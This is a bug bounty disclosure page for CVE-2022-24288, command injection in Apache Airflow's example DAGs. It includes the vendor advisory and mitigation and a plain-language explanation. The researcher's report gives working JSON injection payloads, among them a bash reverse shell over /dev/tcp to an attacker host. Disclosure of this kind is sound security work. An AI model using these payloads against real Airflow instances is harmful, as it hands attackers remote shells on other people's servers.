CVE-2022-24288: Apache Airflow: TWO RCEs in example DAGs
Two example DAGs in Apache Airflow passed user-supplied parameters into BashOperator commands without sanitisation, allowing an attacker to inject OS commands. An attacker could execute arbitrary commands on the host, especially if Airflow was configured for unauthenticated access.
- Triaged in 3 days
- Fixed in 3 days
- Paid in 3 days
- Disclosed after 33 days
Summary by the program
CVE-2022-24288: Apache Airflow: RCE in example DAGs
Severity: high
Description: In Apache Airflow, prior to version 2.2.4, some example DAGs did not properly sanitize user-provided params, making them susceptible to OS Command Injection from the web UI.
Mitigation: This can be mitigated by ensuring [core] load_examples is set to False.
Credit: The Apache Airflow PMC would like to thank Kai Zhao of the TToU Security Team for reporting this issue.
https://lists.apache.org/thread/dbw5ozcmr0h0lhs0yjph7xdc64oht23t
The report
In Apache Airflow, prior to version 2.2.4, In DAG script of airflow , there is two command injection vulnerability (RCE) in the some scripts, which an attacker can execute arbitrary commands on the system. The impact is even greater when airflow is configured for unauthenticated access. These two RCEs are assigned the same CVE number(CVE-2022-24288)
Impact
#RCE one: example_passing_params_via_test_command.py command injection
##Vulnerability summary: In Apache Airflow, prior to version 2.2.4, there is a command injection vulnerability (RCE) in the script (example_passing_params_via_test_command.py), which can obtain the permission of the operating system. ##Vulnerability principle:
- It can be seen from the source code of example_passing_params_via_test_command script that there is the function of executing bash command, The parameters Foo and MIFF in the template expressions {{params. Foo}} and {{params. Foo}} are externally controllable and rendered through the jiaja2 template:


- Further analysis “from airflow.operators.bash import BashOperator” code, we can see bash_command parameter value will be executed as a bash script;

##Vulnerability exploitation :
- Enter the DAGs menu and start example_passing_params_via_test_command task, select “Trigger DAG w/ config”.
http://192.168.3.17:8080/trigger?dag_id=example_passing_params_via_test_command

- To construct payload, we can know from the following code that we need to splice commands with semicolons after closing double quotation marks, so as to inject any operating system commands to be executed(RCE).

PAYLOAD:{"foo":"\";touch /tmp/pwnedaaaaa;\""}, Then click trigger to execute the task.


Through the log and background view, it can be seen that any command has been executed successfully.


- Further execute the reverse shell to obtain operating system permissions.
Payload: {"foo":"\";bash -i >& /dev/tcp/192.168.3.7/6666 0>&1;\""}


#RCE two: tutorial.py DAG command injection
##Vulnerability summary: Ithere is a command injection vulnerability (RCE) in the script (tutorial.py), which an attacker can execute arbitrary commands on the system. ##Vulnerability principle:
- It can be seen from the source code of tutorial script that there is the function of executing bash command, The parameters “my_param” in the template expressions {{params.my_param}} is externally controllable and rendered through the jinja2 template:

- Further analysis “from airflow.operators.bash import BashOperator” code, we can see bash_command parameter value will be executed as a bash script;

#Vulnerability exploitation:
- Enter the DAGs menu and start tutorial task, select “Trigger DAG w/ config”.
http://192.168.3.17:8080/trigger?dag_id=tutorial

- To construct payload, we can know from the following code that we need to splice commands with semicolons after closing double quotation marks, so as to inject any operating system commands to be executed(RCE).

PAYLOAD:{"my_param":"\";touch /tmp/pwnedddddd;\""}, Then click trigger to execute the task.


Through the log and background view, it can be seen that arbitrary command has been executed successfully.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker could execute arbitrary OS commands on the Airflow host, and the impact is greater when Airflow is configured for unauthenticated access.
What the attacker needed
Airflow prior to 2.2.4 with example DAGs loaded; Access to the Airflow web UI; Ability to trigger a DAG with config
The fix
The issue affects versions prior to 2.2.4 and can be mitigated by disabling example DAG loading.
How it was found
- Open the DAGs menu and start the example_passing_params_via_test_command task using 'Trigger DAG w/ config'.
- Supply a crafted parameter value that closes the quoting and appends an OS command.
- Trigger the task and observe that the command executed via the log and background view.
- Repeat the same approach with the tutorial DAG and its my_param parameter.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Apache Airflow is a tool for scheduling tasks. Some built-in example tasks took a value typed by the user and pasted it directly into a shell command. Because the value was not cleaned, a user could add extra shell commands that the server would run.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.